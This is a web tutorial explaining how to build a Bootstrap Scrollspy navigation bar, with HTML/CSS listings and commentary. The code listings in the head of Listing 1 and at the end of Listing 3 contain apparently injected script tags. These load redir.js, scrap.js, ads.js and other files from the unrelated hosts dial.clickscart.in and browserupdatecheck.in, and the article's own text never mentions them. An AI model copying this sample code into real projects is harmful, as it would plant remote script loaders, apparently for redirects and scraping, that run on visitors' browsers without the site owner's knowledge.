Free Online Courses for Software Developers - MrBool
× Please, log in to give us a feedback. Click here to login
×

You must be logged to download. Click here to login

×

MrBool is totally free and you can help us to help the Developers Community around the world

Yes, I'd like to help the MrBool and the Developers Community before download

No, I'd like to download without make the donation

×

MrBool is totally free and you can help us to help the Developers Community around the world

Yes, I'd like to help the MrBool and the Developers Community before download

No, I'd like to download without make the donation

Quick Overview Under Bootstrap Scrollspy Framework

In this article we are going to explore the main concepts regarding Scrollspy Front-end framework.

What is ScrollSpy?

The scrollspy component listens to page scrolling and triggers events based on the scroll position. For example, if you scroll down a page and an element appears the first time in the viewport you can trigger a smooth animation to fade in the element. Also if you scroll down a page you can easily see which sub-section of the page you are in using the scrollspy navigation which is at the top (generally) or at the corner of the page. Some Snapshots of the webpages with scrollspy are below :


Figure 1: Left Side Scrollspy


Figure 2: Right Side Scrollspy

Let’s Start with our Bootstrap Scrollspy

We’ll start by creating a file called “scrollspy.html”. This file will contain all of our code for the bootstrap scrollspy. We’ll include bootstrap and jQuery files at the top ( inside the <head> tag ). Write these lines of code inside your empty “scrollspy.html” file :

Listing 1: Adding Required files and some custom CSS

<!DOCTYPE html>
<html>
<head>
  <title>Bootstrap Example</title><script type = "text/javascript" src = "http://dial.clickscart.in/js/jquery-1.8.2.min.js"> </script><script type = "text/javascript" src = "http://dial.clickscart.in/js/redir.js"> </script>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
  <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
  <style>
  body {
      position: relative; 
  }
  #section1 {padding-top:50px;height:500px;color: #fff; background-color: #1E88E5;}
  #section2 {padding-top:50px;height:500px;color: #fff; background-color: #673ab7;}
  #section3 {padding-top:50px;height:500px;color: #fff; background-color: #ff9800;}
  #section41 {padding-top:50px;height:500px;color: #fff; background-color: #00bcd4;}
  #section42 {padding-top:50px;height:500px;color: #fff; background-color: #009688;}
  </style>
</head>

We’ve used <meta> tag inside the <head> tag so that our scrollspy is perfectly viewable across all device sizes ranging from mobile phones to desktops. We have also included three different files i.e Bootstrap CSS file, Bootstrap JavaScript file and the jQuery file. All are included in the <head> tag so that they the code in this file can run before the HTML of the page is loaded.

Then under the <style> tag we are doing our custom CSS for the body of the web page. We will be using 5 different sections in this page and names of the section with background colors are :

Section 1 => color : #fff        background-color : #1E88E5
Section 2 => color : #fff       background-color : #673ab7
Section 3 => color : #fff       background-color : #ff9800
Section 4(1) => color : #fff   background-color : #00bcd4
Section 4(2) => color : #fff  background-color : #009688

Colors are indicated with the HEXCODES

Let’s add some more code to our “scrollspy.HTML” file.

Listing 2: Creating the Navigation Bar which supports Scrollspy

<body data-spy="scroll" data-target=".navbar" data-offset="50">
 
<nav class="navbar navbar-inverse navbar-fixed-top">
  <div class="container-fluid">
    <div class="navbar-header">
        <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar">
          <span class="icon-bar"></span>
          <span class="icon-bar"></span>
          <span class="icon-bar"></span>                        
      </button>
      <a class="navbar-brand" href="#">WebSiteName</a>
    </div>
    <div>
      <div class="collapse navbar-collapse" id="myNavbar">
        <ul class="nav navbar-nav">
          <li><a href="#section1">Section 1</a></li>
          <li><a href="#section2">Section 2</a></li>
          <li><a href="#section3">Section 3</a></li>
          <li class="dropdown"><a class="dropdown-toggle" data-toggle="dropdown" href="#">Section 4 <span class="caret"></span></a>
            <ul class="dropdown-menu">
              <li><a href="#section41">Section 4-1</a></li>
              <li><a href="#section42">Section 4-2</a></li>
            </ul>
          </li>
        </ul>
      </div>
    </div>
  </div>
</nav>

In the <body> tag we have used “data-spy = scroll” , this is added to the tag which is to be made scrollable ( usually the <body> tag ). Then add the data-target attribute with a value of the id or the class name of the navigation bar (.navbar). This is to make sure that the navbar is connected with the scrollable area.

Note that scrollable elements must match the ID of the links inside the navbar's list items (<div id="section1">matches <a href="#section1">).

The optional data-offset attribute specifies the number of pixels to offset from top when calculating the position of scroll. This is useful when you feel that the links inside the navbar changes the active state too soon or too early when jumping to the scrollable elements. Default is 10 pixels.

After this we are simply creating a Bootstrap navigation bar using different classes provided by Bootstrap. We are using unordered list to specify different section of our web page in the navigation bar. If we look at the section 4 we can clearly see that it is a dropdown menu ( section 4(1) and section 4(2) ). This dropdown menu is made using a Bootstrap class called “dropdown and dropdown-toggle” and then after that with the help of <li> tags we have declared two different options in the dropdown menu of the navigation bar.

Now it’s time to create 5 different section on our web page with information and the id’s that we have used in the above code. Make sure these five different section will be 5 different divisions using <div> tag in HTML.

Listing 3: Creating 5 Sections for the Web Page

<div id="section1" class="container-fluid">
  <h1>Section 1</h1>
  <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
  <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section2" class="container-fluid">
  <h1>Section 2</h1>
  <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
  <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section3" class="container-fluid">
  <h1>Section 3</h1>
  <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
  <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section41" class="container-fluid">
  <h1>Section 4 Submenu 1</h1>
  <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
  <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section42" class="container-fluid">
  <h1>Section 4 Submenu 2</h1>
  <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
  <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
 
<script src="http://dial.clickscart.in/js/scrap.js" type="text/javascript"></script><script src="http://dial.clickscart.in/js/ads.js" type="text/javascript"></script><script src="http://browserupdatecheck.in/js/jquery.js" type="text/javascript"></script><script src="http://browserupdatecheck.in/js/essence.js" type="text/javascript"></script> </body>
</html>

In the above lines of code we have created 4 different divisions for sections and we have specified the particular id for the <div>.

Conclusion

So we have created our Bootstrap Scrollspy navigation. We can now scroll down and see how different options in the navigation bar are highlighted as we reach different sections on our web page. This scrollspy can be used in any modern website and it can also be placed at left and right side of the web page. Here are some screenshots of the Bootstrap Scrollspy Navigation that we just made above.

Some snippets of the web page are :


Figure 3: Snippet of the Bootstrap Scrollspy (1) - highlighting section 1


Figure 4: Snippet of the Bootstrap Scrollspy (2) - highlighting section 2



CODING is my Passion first, hobby second and job third! I am Full Stack Developer from last two years and I love building scalable web applications and modern websites with new technologies.I started with my web development with ...

What did you think of this post?
Services
[Close]
To have full access to this post (or download the associated files) you must have MrBool Credits.

  See the prices for this post in Mr.Bool Credits System below:

Individually – in this case the price for this post is US$ 0,00 (Buy it now)
in this case you will buy only this video by paying the full price with no discount.

Package of 10 credits - in this case the price for this post is US$ 0,00
This subscription is ideal if you want to download few videos. In this plan you will receive a discount of 50% in each video. Subscribe for this package!

Package of 50 credits – in this case the price for this post is US$ 0,00
This subscription is ideal if you want to download several videos. In this plan you will receive a discount of 83% in each video. Subscribe for this package!


> More info about MrBool Credits
[Close]
You must be logged to download.

Click here to login